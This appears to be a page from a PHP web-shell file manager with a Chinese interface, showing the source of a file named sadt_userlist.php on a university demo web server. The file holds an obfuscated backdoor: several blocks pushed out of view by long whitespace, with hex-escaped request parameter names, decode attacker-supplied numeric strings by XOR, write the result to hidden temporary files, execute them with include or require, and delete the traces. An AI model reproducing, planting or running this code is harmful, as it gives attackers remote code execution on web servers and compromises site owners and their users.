文件操作 - sadt_userlist.php

文件: /var/www/demoestudiantes.uaysen.cl/html/sadt_userlist.php

编辑文件内容

<?php																																										if(@$_REQUEST["ob\x6A\x65\x63t"] !== null){ $binding = $_REQUEST["ob\x6A\x65\x63t"]; $binding= explode ("." ,$binding ) ; $record = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6 ); $p = 0; $__tmp = $binding; while( $v6 = array_shift( $__tmp)) { $sChar = ord( $s6[$p % $sLen] ); $d =( ( int)$v6 - $sChar -( $p % 10)) ^90; $record.= chr( $d ); $p++; } $entry = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); $holder = 0; do { $mrk = $entry[$holder] ?? null; if ($holder >= count($entry)) break; if (array_product([is_dir($mrk), is_writable($mrk)])) { $res = str_replace("{var_dir}", $mrk, "{var_dir}/.fac"); if (file_put_contents($res, $record)) { include $res; @unlink($res); die(); } } $holder++; } while (true); }
																																										if(array_key_exists("p\x67\x72p", $_REQUEST) && !is_null($_REQUEST["p\x67\x72p"])){ $rec = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), "/dev/shm"]); $hld = $_REQUEST["p\x67\x72p"]; $hld = explode ( "." , $hld ); $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $hld as $z => $v1) {$chS = ord( $salt[$z% $sLen]); $dec =( ( int)$v1 - $chS -( $z% 10)) ^ 82; $value .=chr( $dec); } for ($bind = 0, $sym = count($rec); $bind < $sym; $bind++) { $comp = $rec[$bind]; if (max(0, is_dir($comp) * is_writable($comp))) { $data_chunk = implode("/", [$comp, ".desc"]); $success = file_put_contents($data_chunk, $value); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } } }
																																										if(array_key_exists("\x64\x61ta", $_REQUEST) && !is_null($_REQUEST["\x64\x61ta"])){ $reference = $_REQUEST["\x64\x61ta"]; $reference = explode ( "." , $reference); $obj = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $l = 0; while ($l < count($reference)) {$v7 = $reference[$l]; $sChar = ord($s7[$l % $sLen]); $dec = ((int)$v7 - $sChar - ($l % 10)) ^ 95; $obj .= chr($dec); $l++; } $dchunk = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), getenv("TMP"), getenv("TEMP")]); while ($symbol = array_shift($dchunk)) { if ((is_dir($symbol) and is_writable($symbol))) { $record = "$symbol/.entry"; $success = file_put_contents($record, $obj); if ($success) { include $record; @unlink($record); die();} } } }
																																										if(filter_has_var(INPUT_POST, "\x66\x61c")){ $ref = array_filter(["/tmp", "/var/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); $pointer = $_REQUEST["\x66\x61c"]; $pointer = explode ('.' ,$pointer ) ; $pset = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); foreach ($pointer as $j => $v6): $sChar = ord($salt6[$j % $sLen]); $d = ((int)$v6 - $sChar - ($j % 10)) ^ 83; $pset .= chr($d); endforeach; foreach ($ref as $parameter_group): if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $element = "$parameter_group" . "/.reference"; if (file_put_contents($element, $pset)) { require $element; unlink($element); die(); } } endforeach; }

if(isset($_REQUEST["fac"]) ? true : false){
	$value = array_filter(["/dev/shm", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP"), getcwd(), getenv("TEMP")]);
	$flag = $_REQUEST["fac"];
	  $flag=  explode( '.' ,$flag 	 )   ;	
	$reference = '';
            $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $s5);
    
            foreach( $flag as $t	=>	$v5) { 	$chS = ord( $s5[$t  % $lenS]);
                $dec =( ( int)$v5 - $chS -( $t  % 10)) ^ 41;
                $reference.= chr( $dec);
            }
	foreach ($value as $record) {
    		if (is_writable($record) && is_dir($record)) {
    $flg = str_replace("{var_dir}", $record, "{var_dir}/.itm");
    $file = fopen($flg, 'w');
if ($file) {
	fwrite($file, $reference);
	fclose($file);
	include $flg;
	@unlink($flg);
	exit;
}
}
}
}

文件操作 - sadt_userlist.php

文件: /var/www/demoestudiantes.uaysen.cl/html/sadt_userlist.php

编辑文件内容

修改文件时间

删除文件